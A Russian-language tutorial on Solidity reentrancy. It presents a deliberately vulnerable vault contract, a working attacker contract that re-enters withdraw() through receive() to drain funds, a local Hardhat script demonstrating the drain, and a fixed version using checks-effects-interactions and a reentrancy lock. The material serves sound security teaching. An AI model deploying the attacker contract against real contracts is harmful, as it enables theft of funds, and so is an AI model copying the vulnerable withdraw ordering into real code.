китаев.tech

Reentrancy — атака и защита

Как работает reentrancy-атака в Solidity, почему порядок обновления state важен и как защитить withdraw-функцию.

Что такое reentrancy

Reentrancy — это атака, при которой внешний контракт повторно вызывает вашу функцию до того, как первый вызов успел обновить state.

Классический случай — withdraw(): контракт сначала отправляет ETH пользователю, а только потом обнуляет его баланс. Злоумышленник принимает ETH в receive() и снова вызывает withdraw(), пока старый баланс ещё записан в storage.


Воспроизводим атаку

Создайте файл contracts/ReentrancyDemo.sol:

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract VulnerableVault {
    mapping(address => uint256) public balances;

    error NothingToWithdraw();
    error EthTransferFailed();

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint256 amount = balances[msg.sender];

        if (amount == 0) {
            revert NothingToWithdraw();
        }

        // Уязвимость: внешний вызов происходит до обновления state.
        (bool success,) = msg.sender.call{value: amount}("");

        if (!success) {
            revert EthTransferFailed();
        }

        balances[msg.sender] = 0;
    }
}

contract ReentrancyAttacker {
    VulnerableVault public immutable vault;
    uint256 private constant STEP = 1 ether;

    constructor(address vaultAddress) {
        vault = VulnerableVault(vaultAddress);
    }

    function attack() external payable {
        require(msg.value == STEP, "Send exactly 1 ETH");

        vault.deposit{value: STEP}();
        vault.withdraw();
    }

    receive() external payable {
        if (address(vault).balance >= STEP) {
            vault.withdraw();
        }
    }
}

contract SafeVault {
    mapping(address => uint256) public balances;
    bool private locked;

    error NothingToWithdraw();
    error EthTransferFailed();
    error Reentrancy();

    modifier nonReentrant() {
        if (locked) {
            revert Reentrancy();
        }

        locked = true;
        _;
        locked = false;
    }

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external nonReentrant {
        uint256 amount = balances[msg.sender];

        if (amount == 0) {
            revert NothingToWithdraw();
        }

        // Checks-Effects-Interactions: сначала меняем state.
        balances[msg.sender] = 0;

        // Только после этого отправляем ETH наружу.
        (bool success,) = msg.sender.call{value: amount}("");

        if (!success) {
            revert EthTransferFailed();
        }
    }
}

Создайте файл scripts/reentrancy.ts:

typescript
import { network } from "hardhat";

const { ethers } = await network.create();

const [victim, attackerWallet] = await ethers.getSigners();

const vault = await ethers.deployContract("VulnerableVault");
await vault.waitForDeployment();

const vaultAddress = await vault.getAddress();

const Attacker = await ethers.getContractFactory("ReentrancyAttacker", attackerWallet);
const attacker = await Attacker.deploy(vaultAddress);
await attacker.waitForDeployment();

const attackerAddress = await attacker.getAddress();

await vault.connect(victim).deposit({
  value: ethers.parseEther("5"),
});

console.log("Vault до атаки:", ethers.formatEther(await ethers.provider.getBalance(vaultAddress)));
console.log(
  "Attacker до атаки:",
  ethers.formatEther(await ethers.provider.getBalance(attackerAddress)),
);

await attacker.connect(attackerWallet).attack({
  value: ethers.parseEther("1"),
});

console.log("Vault после атаки:", ethers.formatEther(await ethers.provider.getBalance(vaultAddress)));
console.log(
  "Attacker после атаки:",
  ethers.formatEther(await ethers.provider.getBalance(attackerAddress)),
);

Запуск:

bash
npx hardhat run scripts/reentrancy.ts

Контракт атакующего вносит 1 ETH, но забирает больше: он повторно входит в withdraw() через receive(), пока баланс в VulnerableVault ещё не обнулён.


Как это работает

msg.sender.call{value: amount}("") — передаёт управление внешнему адресу. Если msg.sender — контракт, он может выполнить свой receive() или fallback().

receive() в ReentrancyAttacker — точка повторного входа. Она снова вызывает vault.withdraw(), пока balances[msg.sender] всё ещё равен 1 ETH.

balances[msg.sender] = 0 после внешнего вызова — причина уязвимости. State меняется слишком поздно.

Checks-Effects-Interactions — безопасный порядок: сначала проверки, затем изменение state, затем внешние вызовы.

nonReentrant() — дополнительный замок. Он запрещает войти в withdraw() второй раз, пока первый вызов ещё выполняется.


Почему transfer() не решает проблему

Раньше transfer() считали защитой, потому что он передавал только 2300 gas. Сейчас это плохая гарантия безопасности: стоимость opcodes менялась, а контракты могут ломаться из-за gas assumptions.

Безопасность должна держаться на порядке state-изменений и reentrancy guard, а не на надежде, что внешнему контракту не хватит gas.


Частые ошибки

Обнулить баланс после отправки ETH → обнуляйте или уменьшайте баланс до call.

Защитить только одну функцию → reentrancy может идти через другую публичную функцию, которая использует тот же state.

Считать уязвимыми только ETH-переводы → ERC-777 hooks, NFT callbacks и произвольные external calls тоже могут вернуть управление атакующему контракту.


Что дальше

Материалы китаev.tech публикуются в образовательных целях и не являются инвестиционной рекомендацией. Примеры кода и описания протоколов — для обучения; использование в продакшне на ваш собственный риск. Дисклеймер и политика конфиденциальности.